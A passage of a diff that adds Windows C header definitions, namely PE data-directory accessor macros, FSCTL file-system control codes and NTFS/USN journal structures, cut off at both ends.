myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); + +// 31.05.2011 - added +#define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) +#define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) +#define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) +#define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) + +#define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) +#define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) +#define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) +#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) +#define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) +#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) +// 31.05.2011 - end + +#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) +#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) +// 09.06.2011 - begin + +//21.12.2011 added +#if !defined(_FILESYSTEMFSCTL_) +#define _FILESYSTEMFSCTL_ + +#define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 9 +#define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, +#define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 13 +#define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissioned fsctl value 17 +// decommissioned fsctl value 18 +#define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER +#define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS + +#if (_WIN32_WINNT >= 0x0400) +#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER +#define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER +#define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER +#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER +#define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, +#define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decomissioned fsctl value 31 +#define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) +// decommissioned fsctl value 33 +// decommissioned fsctl value 34 +#define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 36 +// decommissioned fsctl value 37 +#define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER +#define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, +#define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, +#define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN +#define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, +#define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER +#define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) +// decommissioned fsctl value 52 +#define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER +#define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, +#define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file +#define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record +#define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissional fsctl value 66 +// decommissioned fsctl value 67 +// decommissioned fsctl value 68 +#define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 70 +#define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) +#define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W +#define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS +#define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE +// decommissioned fsctl value 80 +#define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 83 +#define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 93 +#define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +// decommissioned fsctl value 96 +// decommissioned fsctl value 97 +// decommissioned fsctl value 98 +#define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 105 +#define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation +#define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION +#define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// +// Values 111 - 119 are reserved for FSRM. +// + +#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ + CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter +#define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors +#endif /* _WIN32_WINNT >= 0x0601 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif + +// Values 130 - 130 are available +// Values 131 - 139 are reserved for FSRM. + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO +#define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE +#define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION +#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION + +#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST +#define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE + +#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // +#define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#endif /* _WIN32_WINNT >= 0x0601 */ + +#define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED + + +#if(_WIN32_WINNT >= 0x0601) + +typedef struct _CSV_NAMESPACE_INFO { + + ULONG Version; + ULONG DeviceNumber; + LARGE_INTEGER StartingOffset; + ULONG SectorSize; + +} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; + +#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) +#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF + +#endif /* _WIN32_WINNT >= 0x0601 */ + +typedef struct _PATHNAME_BUFFER { + + ULONG PathNameLength; + WCHAR Name[1]; + +} PATHNAME_BUFFER, *PPATHNAME_BUFFER; + +typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { + + UCHAR First0x24BytesOfBootSector[0x24]; + +} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER VolumeSerialNumber; + LARGE_INTEGER NumberSectors; + LARGE_INTEGER TotalClusters; + LARGE_INTEGER FreeClusters; + LARGE_INTEGER TotalReserved; + ULONG BytesPerSector; + ULONG BytesPerCluster; + ULONG BytesPerFileRecordSegment; + ULONG ClustersPerFileRecordSegment; + LARGE_INTEGER MftValidDataLength; + LARGE_INTEGER MftStartLcn; + LARGE_INTEGER Mft2StartLcn; + LARGE_INTEGER MftZoneStart; + LARGE_INTEGER MftZoneEnd; + +} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; + +typedef struct { + + ULONG ByteCount; + + USHORT MajorVersion; + USHORT MinorVersion; + +} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingLcn; + +} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER StartingLcn; + LARGE_INTEGER BitmapSize; + UCHAR Buffer[1]; + +} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingVcn; + +} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; + +typedef struct RETRIEVAL_POINTERS_BUFFER { + + ULONG ExtentCount; + LARGE_INTEGER StartingVcn; + struct { + LARGE_INTEGER NextVcn; + LARGE_INTEGER Lcn; + } Extents[1]; + +} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + +} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + ULONG FileRecordLength; + UCHAR FileRecordBuffer[1]; + +} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA, *PMOVE_FILE_DATA; + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER SourceFileRecord; + LARGE_INTEGER TargetFileRecord; + +} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; + + +#if defined(_WIN64) + +typedef struct _MOVE_FILE_DATA32 { + + UINT32 FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; +#endif +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + ULONG Restart; + SID Sid; +} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; + +typedef struct { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + + ULONGLONG StartFileReferenceNumber; + USN LowUsn; + USN HighUsn; + +} MFT_ENUM_DATA, *PMFT_ENUM_DATA; + +typedef struct { + + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; + +typedef struct { + + USN StartUsn; + ULONG ReasonMask; + ULONG ReturnOnlyOnClose; + ULONGLONG Timeout; + ULONGLONG BytesToWaitFor; + ULONGLONG UsnJournalID; + +} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; + +typedef struct { + + ULONG RecordLength; + USHORT MajorVersion; + USHORT MinorVersion; + ULONGLONG FileReferenceNumber; + ULONGLONG ParentFileReferenceNumber; + USN Usn; + LARGE_INTEGER TimeStamp; + ULONG Reason; + ULONG SourceInfo; + ULONG SecurityId; + ULONG FileAttributes; + USHORT FileNameLength; + USHORT FileNameOffset; + WCHAR FileName[1]; + +} USN_RECORD, *PUSN_RECORD; + +#define USN_PAGE_SIZE (0x1000) + +#define USN_REASON_DATA_OVERWRITE (0x00000001) +#define USN_REASON_DATA_EXTEND (0x00000002) +#define USN_REASON_DATA_TRUNCATION (0x00000004) +#define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) +#define USN_REASON_NAMED_DATA_EXTEND (0x00000020) +#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) +#define USN_REASON_FILE_CREATE (0x00000100) +#define USN_REASON_FILE_DELETE (0x00000200) +#define USN_REASON_EA_CHANGE (0x00000400) +#define USN_REASON_SECURITY_CHANGE (0x00000800) +#define USN_REASON_RENAME_OLD_NAME (0x00001000) +#define USN_REASON_RENAME_NEW_NAME (0x00002000) +#define USN_REASON_INDEXABLE_CHANGE (0x00004000) +#define USN_REASON_BASIC_INFO_CHANGE (0x00008000) +#define USN_REASON_HARD_LINK_CHANGE 